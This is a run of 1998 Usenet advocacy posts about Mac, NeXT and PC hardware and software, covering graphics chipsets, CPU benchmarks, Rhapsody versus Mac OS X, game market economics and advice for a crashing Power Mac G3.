more, the Voodoo II is a 3D-only solution, and it's not directly
comparably to 2D/3D solutions out there.
> >It was (honest!). It doesn't compete anymore. Matrox G200, Number Nine
> >Revolution IV, Riva TNT, Voodoo II, S3 Savage 3D, Glaze 3D, and many
> >many more...all will dramatically outperform that chipset, and all will
> >almost certainly ship before August (for well under $200).
>
> Let's be fair-- you _must_ compare products that are shipping right now,
> especially when talking about a technology that's evolving as quickly as
> video chipsets.
No, I mustn't, not when the prospective host is a machine that will ship
in August.
> Go to <URL=www.cdw.com/search/default.asp?group=PCI>...the only one on that
> list that's in the channel and in stock at a distributor is the Voodoo II.
> And those sell for $200-300+....
Like I said, the Voodoo II is the exception. The Revolution IV will sell
with 16 MB of video RAM and come complete with a board for $169,
according to Number Nine. The Matrox G200 will be priced under $250,
probably well under. The S3 part, the nVIDIA part, and the Bitboys Oy
part all need to priced somewhere in between.
MJP
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 18 Jun 1998 02:22:16 GMT
Organization: University of Maryland, College Park
Message-ID: <6m9tko$v8j$1@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
Michael Peck (mjpeck@nstar.net) wrote:
: Salvatore Denaro wrote:
: >
: > Hmmm... Rage 3d Pro is old? It offers 100mhz SDRAM and comes in an AGP2
: > part. According to ATI's web site, it has won awards as recently as May.
: Unlike in the Mac market, whose hardware (except for the CPU) seems to
: move at a snail's pace, a PC graphics chip is old if it is being
: shipped. The PC game hardware market addresses technology as "current"
: when it is approximately 3 months from integrator-level designs.
: Who gave the ATI Rage Pro awards as recently as May? Computer Shopper?
: Be aware that most publications are sent to press 2-3 months before you
: get them at the stand, and they are dated as much as a month after they
: actually *do* hit the stands. That makes your awards up to 3-4 months
: old, probably from a magazine that is far from up-to-date in the gaming
: scene.
: Somehow I doubt that PC Gamer and Next-Generation are giving the ATI
: Rage Pro awards at this point.
: > I am not aware of the plus/minus to the ATI chip. How well does it compare
: > to the other 2d/3d chip sets? I was under the impression that it was a
: > good performer in both 2d and 3d.
: It was (honest!). It doesn't compete anymore. Matrox G200, Number Nine
: Revolution IV, Riva TNT, Voodoo II, S3 Savage 3D, Glaze 3D, and many
: many more...all will dramatically outperform that chipset, and all will
: almost certainly ship before August (for well under $200).
: MJP
It would seem that you are correct.
The numbers below are from Tom's hardware site.
ATI RagePro is a decent 2D performer, but in 3D speed, it's
relatively slow. (by the latest and greatest gaming standards)
Turok TMARK 640 X 480
3Dfx Voodoo2 92.8
ATI RagePro 26.5
Quake II Massive1 640 X 480
3Dfx Voodoo2 64.5
ATI RagePro 23.6
ForsakenMark 640 X 480
3Dfx Voodoo2 154.4
ATI RagePro 58.1
Incoming 640 X 480
3Dfx Voodoo2 99
ATI RagePro 38
From: dfield@tiac.net (David Field)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Thu, 18 Jun 1998 13:24:15 GMT
Organization: The Internet Access Company, Inc.
Message-ID: <3589146a.189273@news.tiac.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net>
On Thu, 18 Jun 1998 02:51:17 -0600, ethorne@chicagonet.net (Edwin E.
Thorne) wrote:
>Steve Sullivan <macghod@concentric.net> wrote:
>
>> > No, brand is not an issue because there is no loyalty in the PC world.
>> > But then why should there be? It's the same crappy computer design no
>> > matter who sells you the PC.
>>
>> Yeah, Openstep users think pc's are absolute shit. Uh huh. Sure Edwin.
>> I am crossposting your insanely brilliant observation to their newsgroup
>> Edwin, so they can hear your inspiring words and throw their pc's in the
>> trash, and promptly go to store.apple.com and order a g3 with macos 8!!
>> Come on Openstep users, you heard Edwin, throw away your pc's and buy a g3
>> running os 8!!!
>
>You must really love my name, as you can't seem to say it enough.
>Why don't you explain why you bought a G3 Mac instead of a PC, Steve?
>
>You forgot to put your new signature line at the bottom of this post.
>Here's Steve Sullivan's new signature:
>--
>Posted on a g3 233 desktop running os 8.1.
>So many pedestrians, so little time!
>
>
>My opinions don't change with the wind.
Actually, they don't seem to change with the facts, either.
>The Macintosh running the Mac
>OS is the best computing choice available.
>
>Edwin
>------------------------------------------------
>Created on an Apple Macintosh Performa 6400/180
From: David Matthew Wood <dmwood@erols.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Date: Thu, 18 Jun 1998 09:33:31 +0000
Organization: Erol's Internet Services
Message-ID: <3588DEE7.2627E7F3@erols.com>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: Steve Sullivan <macghod@concentric.net>
Steve Sullivan wrote:
> Their has to be something wrong, but I cant figure out what. My g3 233 is
> crashing so much :( Because of problems, I did a low level format of my
> hard drive today, and reinstalled macos 8 (I had had macos 8.1 on it, as
> hfs plus.)
> It is still crashing alot, and I can even get it to crash by doing certain
> things. For instance, on www.deal-mac.com, all I have to do is click on
> the down scroll bar arrow and it will jump to norton crashguard. I try to
> fix it, it comes back a couple of times and ends up freezing. THe error
> norton gives is a memory access error. THis is with netscape that os 8
> installed. THis version of newswatcher mt has also crashed and froze on
> me, as well as the finder. I dont even have many extensions loaded, since
> I erased my hard drive today. I have norton utilities 3.5.3, fwb
> 2.5,quicktime 3, quickdraw 3d,oh and netscape defrost. and thats about
> it. I didnt install disklight.
> I bought a 32 meg g3 memory, but I checked ram in techtool, and it didnt
> say anything was the matter. I also checked the cache, and that was ok
> too.
>
> Is techtool 1.06 preety good at detecting hardware problems? Are their
> better utilities?
Get rid of CrashGuard. It crashes your Mac.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 09:38:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6man64$fme$2@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net> <6m3hlg$n2m$1@ns3.vrx.net>
<see-below-1606982219310001@dynamic2.pm04.mv.best.com> <6m831v$dbl$1@ns3.vrx.net>
<see-below-1706981752130001@dynamic62.pm07.mv.best.com>
Mime-Version: 1.0
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Cc: see-below@not-my-address.com
In <see-below-1706981752130001@dynamic62.pm07.mv.best.com> Matthew Vaughan
claimed:
> MacSoft/Westlake. See http://www.westlakeinteractive.com/news0013.html for
> more details.
Thanks!
Maury
From: John Morgan <jwmpc@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Date: Thu, 18 Jun 1998 07:43:35 -0700
Organization: EarthLink Network, Inc.
Message-ID: <35892793.CD1ECB4A@earthlink.net>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net> <3588DEE7.2627E7F3@erols.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Also, check for objectsupportlib (installed by Navigator and
Communicator). Delete it as it's famous for causing crashes. Just use
find file to locate it, in the extensions folder
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Thu, 18 Jun 1998 12:57:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mb2sc$7kd$1@nnrp1.dejanews.com>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL> <6m9js0$34n$1@news.xmission.com>
don@misckit.com wrote:
> Finally, I think that dropping m68k isn't that big a deal. I even have three
> slabs here--IMHO 4.2 is too slow for m68k, and Rhapsody on them would be a
> bigger pig. I'm running my slabs on 3.3 and that works just fine; I run 4.2
> on my Intel box. I also feel I got several good years out of my slabs (7+
> years ain't bad for a computer!) so I think Apple's dropping of m68k support
> is quite reasonable.
Let me second that. I've been a very longtime NeXT user, having bought my
slab back in January 1991. That slab is still my main work computer.
Considering that any PC or even Mac I could have bought in that timeframe
would by now be hopelessly inadequate for the work I do, I feel I got
tremendous value for my money. But it 's time to move on, and though I'll
miss my slab and its funky good looks, I do look forward to running Rhapsody
on something substantially faster. (Luckily, Apple's new PowerBooks are
almost the same color, so it won't be too much of a change ;-).
I understand wanting to maintain support for legacy hardware. But there comes
a time when one must move on. For 68k boxes, whether Mac or NeXT, that time
has come. Of course, these boxes will continue to run their present software
just fine, thank you, so we're not losing anything. But let's not cripple our
new software in a vain attempt to make it work on obsolete boxes (or do we
really want future Mac OSs to be as crippled as Windows?)
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: DC <dhba701@NOSPAM*worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: Thu, 18 Jun 1998 10:12:07 -0400
Organization: http://www.judas-priest.com
Message-ID: <6mb7ad$6v4@bgtnsc03.worldnet.att.net>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net>
Mime-Version: 1.0
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Tim Scoff wrote:
>
> Skip NT 5.0??? Are you crazy? MS's web site states that their solution
> to make your NT servers 100% Year 2000 compliant. is to upgrade to NT 5
> when it is released late in 1999. Based on that statement alone NT 5.0 is
> going to be a necessity, not an optional upgrade when it is released.
> Most major corporations are taking warnings like, "Minor issues" very
> seriously where the year 2000 is concerned.
>
> --
> Tim Scoff
> casper@nb.net
> <http://www.nb.net/~casper/>
>
Hell yes! I say upgrade ASAP, too! I figure, the more corporations that
bank on this OS will find out just how buggy this behemoth is going to
be, lose a shitload of $$$ and call for Bill Gates' head. The more bad
publicity they get over this thing, the better.
-DC
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Followup-To: comp.sys.mac.hardware.misc
Date: 18 Jun 1998 15:38:43 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6mbca3$qk3$2@news.spacelab.net>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
>Their has to be something wrong, but I cant figure out what. My g3 233 is
>crashing so much :( Because of problems, I did a low level format of my
>hard drive today, and reinstalled macos 8 (I had had macos 8.1 on it, as
>hfs plus.)
[ ... ]
Do Usenet a favor, please-- stop crossposting to inappropriate groups.
Followups redirected.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Date: Thu, 18 Jun 1998 10:55:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980618104245.63A-100000@ux9.cso.uiuc.edu>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
Several things.
1) Try getting rid of Crash Gaurd. I would bet it is the source of more
troubles than solutions.
2) Make sure you have the latest Netscape (4.0.5). Give it lots of memory
to run in (at least 2 or 3 megs more than what's set for the prefered
size).
3) Turn off Java in Netscape if you don't think you need it. I find that
it often the source of crashing, freezing for 10 secs at a time, and
miscellaneous problems and slow downs in Netscape. (That, and most of the
Java stuff I've seen used on the Internet is frivolous junk that's
totally unnecessary.)
4) Pick up Newertech's RAMometer
<http://www.newertech.com/software/newertools.html>
Run that for a few minutes to see if it comes up with memory errors (when
the ambient temperature (like some days during the summer) gets too hot
for my overclocked machine, I start getting random crashing. Running
RAMometer confirms that I have to bump my clock speed down until they go
away.)
5) If you are using Ethernet, go to
ftp.info.apple.com
Go to the Macintosh directory of
the apple software updates and
then to:
System/CPU_Specific_Updates/Power_Mac_G3/
This should fix a particular Ethernet bug. (If you aren't using ethernet,
then don't bother).
6) Update your HD drivers with the latest Drive Setup (version 1.5).
7) Check you HD with the new Disk First Aid 8.2.
(6 and 7 should be available from ftp.info.apple.com as well.)
Doing all of these things would probably be a good idea, but any one of
them might fix your problem.
HTH, HAND
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek
On Thu, 18 Jun 1998, Steve Sullivan wrote:
> Their has to be something wrong, but I cant figure out what. My g3 233 is
> crashing so much :( Because of problems, I did a low level format of my
> hard drive today, and reinstalled macos 8 (I had had macos 8.1 on it, as
> hfs plus.)
> It is still crashing alot, and I can even get it to crash by doing certain
> things. For instance, on www.deal-mac.com, all I have to do is click on
> the down scroll bar arrow and it will jump to norton crashguard. I try to
> fix it, it comes back a couple of times and ends up freezing. THe error
> norton gives is a memory access error. THis is with netscape that os 8
> installed. THis version of newswatcher mt has also crashed and froze on
> me, as well as the finder. I dont even have many extensions loaded, since
> I erased my hard drive today. I have norton utilities 3.5.3, fwb
> 2.5,quicktime 3, quickdraw 3d,oh and netscape defrost. and thats about
> it. I didnt install disklight.
> I bought a 32 meg g3 memory, but I checked ram in techtool, and it didnt
> say anything was the matter. I also checked the cache, and that was ok
> too.
>
> Is techtool 1.06 preety good at detecting hardware problems? Are their
> better utilities?
>
>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 16:32:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oig8c.k93.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net>
On 18 Jun 1998 10:10:22 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Apple would be well off to include a Voodoo RAGE chip, but these are
>expensive parts. A RIVA is an excellent second, because it has
>3D-in-a-window which the normal Voodoo lacks.
Would the Voodoo RAGE fit in an ATI RAGE PRO pinout?
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 16:48:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oih6d.k93.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
On 18 Jun 1998 06:49:05 GMT, Don Yacktman <don@misckit.com> wrote:
>> That answer was clear, concise, direct and totally useless.
>Ummm, actually it is very useful. I've heard tell from people who would know
>that:
>
>Mac OS X == Rhapsody 2.0
But that isn't what he said. No one at Apple is willing to come out and just
state "MacOSX is Rhapsody with the following changes..."
Just saying this would kill 75% to 90% of the MacOSX FUD.
>> >Ummm... All new artwork on the box. A different label on the CD. A
>> >whole different marketing campaign.
Mike is dancing around the words. That's what makes this quote useless for
killing FUD. And the only way to kill the FUD is for Apple to just state
"MacOSX is Rhapsody with the following changes..." Untill they do that we'll
have to respond to tons of posts about how MacOSX won't be Unix, or won't
be able to be a server or won't have a CLI.
>major release to the next.) So, given the original question, Mike basically
>answered: "they are in fact the same, only the name has changed". He just
It would be nice if he would just post "MacOSX is Rhapsody with the following
changes..."
>phrased it in a humorous way that apparently sailed right over your head.
>You're obviously not very well acquainted with Mike's sense of humor...
I got the humor, and responded with my own.
>> Now I am finally sure that Apple is being run by Vorlons...
>Mike's response doesn't prove that. Doesn't disprove it, either, though...
Maybe he can explain the striking visual similarities between the iMac and the
Vorlon encounter suit helmet. I think it goes way beyond mere chance...
--
sal@panix.com
Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 10:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AE98FE-211E0@206.165.43.66>
References: <6mansu$fme$5@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Of course, they weren't planning on replacing the graphics sub-system
>until
>> MacOS 8, but they could have.
>
> If you mean MacOS8 as in Copeland, then they weren't even looking to
>replace it then. Don't you remember the thread? That's what got you
>interested in GX in the first place, prior to that (as you stated at the
>time) you had not looked at the system.
>
What?
While it's true that they weren't replacing QD immediately, the announced
path was for GX to replace QD as the prefered graphics engine within
Copland.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 10:32:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AE9CFE-302A1@206.165.43.66>
References: <joe.ragosta-1806980837170001@wil87.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
>> "emulate" a Playstation faster than a Playstation.
>
>True. But that's not really emulation.
>
>Anyone know what the raw CPU power of a Playstation is compared to a G3?
Sure it is, Joe. It's what SoftWindows does. They license certain parts of
teh WIndows source code from MS and implement it as native libraries for
speed.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 17:40:11 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <358950FB.9DE6D1B7@nstar.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net> <slrn6oig8c.k93.sal@panix3.panix.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 18 Jun 1998 17:45:17 GMT
Salvatore Denaro wrote:
>
> On 18 Jun 1998 10:10:22 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> > Apple would be well off to include a Voodoo RAGE chip, but these are
> >expensive parts. A RIVA is an excellent second, because it has
> >3D-in-a-window which the normal Voodoo lacks.
>
> Would the Voodoo RAGE fit in an ATI RAGE PRO pinout?
Maury means Voodoo Rush, and the Rage Pro will outperform the Rush
chipset.
MJP
Date: Thu, 18 Jun 1998 13:48:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806981348130001@wil45.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu>
In article <6mbdca$trv$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> The 300 MHz PPC750 has an estimated SPECfp95 score of 8.5
> The 300 MHz Pentium II has a SPECfp95 score of 8.8
> The 400 MHz Pentium II has a SPECfp95 score of 12.4
Notice:
1. The PPC 750 only has an _estimated_ score. IBM has underestimated in
the past.
2. I'm not aware of any SPEC score which has been run on a PowerMac. That
makes it very questionable for comparisons between the platforms.
3. You didn't specify any cache size or speed. That makes your information
useless.
4. SPEC is only one of many benchmarks. For someone who really needs the
horsepower to run Photoshop, I would say that a Photoshop comparison (like
the one where PC Magazine found that a 300 MHz G3 is 46% faster than a 400
MHz PII system) makes a lot more sense.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 18 Jun 1998 13:53:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806981353410001@wil45.dol.net>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
In article <B1AE9C85-2E635@206.165.43.66>, "Lawson English"
<english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
>
> > Apple would be well off to include a Voodoo RAGE chip, but these are
> >expensive parts. A RIVA is an excellent second, because it has
> >3D-in-a-window which the normal Voodoo lacks.
>
>
>
> Apple should use the "personality card" concept to provide upgradeable 3D
> acceleration cards. These would be dealer-upgardeable. This would allow
> iMac users to start out with a base system and upgrade it as needed.
>
> They could even make it cheaper by not having ANY 3D acceleration for a
> pure WebTV solution.
I can't imagine that eliminating the 3D acceleration would save any
significant amount of money.
You can buy an 8 MB 3D accelerated video card for the same price as a 4 MB
Millenium I. This isn't a very good place to cut corners.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 18 Jun 1998 13:55:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806981355340001@wil45.dol.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com> <joe.ragosta-1706980956050001@wil66.dol.net> <6m8sna$rcu4@onews.collins.rockwell.com> <joe.ragosta-1806980835270001@wil87.dol.net> <35894f10.3628848@news.supernews.com>
In article <35894f10.3628848@news.supernews.com>, kychenABC@hpl.hp.com
(Kay-Yut Chen - remove ABC in email to reply) wrote:
> >> A game must sell a _minimum_ of 60,000 copies to interest a world
wide retail
> >> distributor. To make that sales figure in the Mac market, the game would
> >> have to have 10% market share or better. That is unrealistic.
> >
> >Wow.
> >
> >Here we have the President of a software company making up numbers. Where
> >did you get a 600,000 number?
> >
>
> At least READ what he wrote. He said 60,000, not 600,000. That number
> is quite believable. A friend works in the game industory told me that
> an average commercial game takes about $1M to make.
I DID read what he wrote. Perhaps my response wasn't clear enough. He said
you need 60,000 sales and said that that is a 10% market share on the Mac.
That means that he believes that only 600,000 Macs exist. THAT is the
number that's full of baloney.
>
> For a game that sells for $40-$50, the developer typically get a cut
> of $20.
>
> To break even, you need 50k copies. (50k x $20 = $1M). His figures is
> close. My friend told me about this about 1.5 years ago, so with
> everyone upping the ante in production value, needing 60K copies to
> break even is reasonable.
That may be. But it doesn't explain the warped math he uses to conclude
that it's impossible to make money in the Mac market.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 18:36:28 GMT
Organization: MiscKit Development
Message-ID: <6mbmnc$1uu$2@news.xmission.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net>
"Ziya Oz" <ziyaoz@earthlink.net> wrote:
> don@misckit.com (Don Yacktman) wrote:
>
> >Mac OS X == Rhapsody 2.0
>
> If so, why won't it run on Intel?
Because they've chosen to kill Rhapsody on Intel, hence they aren't going to
compile an Intel version. Whether there's an Intel version or not is
*completely* irrelevant to what I said.
Similar example: if Microsoft stops selling Windows NT for non-Intel
platforms (ie, no 5.0 for anything but Intel) then does that mean that
Windows NT 5.0 isn't the next version after 4.0?
When you move from one version to the next, some features get dropped, some
get added. Is that too hard to understand?
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 13:49:35 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mb5tf$r26$1@ns3.vrx.net>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1AE9C85-2E635@206.165.43.66> "Lawson English" claimed:
> Apple should use the "personality card" concept to provide upgradeable 3D
> acceleration cards. These would be dealer-upgardeable. This would allow
> iMac users to start out with a base system and upgrade it as needed.
The problem with this approach is that some of the parts, like the Voodoo,
don't work that way - it's my biggest complaint with the Voodoo in fact. It
basically does a "bluescreen" onto the current signal from the 2D display,
something I find to be rather odius. On a PC it means you have a cable from
the 2D card to the 3D card, then another to the monitor. Uggg. Interfacing
such a beast via a card-only solution is a problem.
However this doesn't mean anything in the big scheme of things. Although
the Voodoo still outperforms the rest of the market (at least for games that
is) the RIVA has come a _long_ way. As the other others that Mike points
out, I'm going to play "wait and see" because we all heard the same claims
about the Intel i740, which the already-shipping Voodoo turned out to
trounce.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
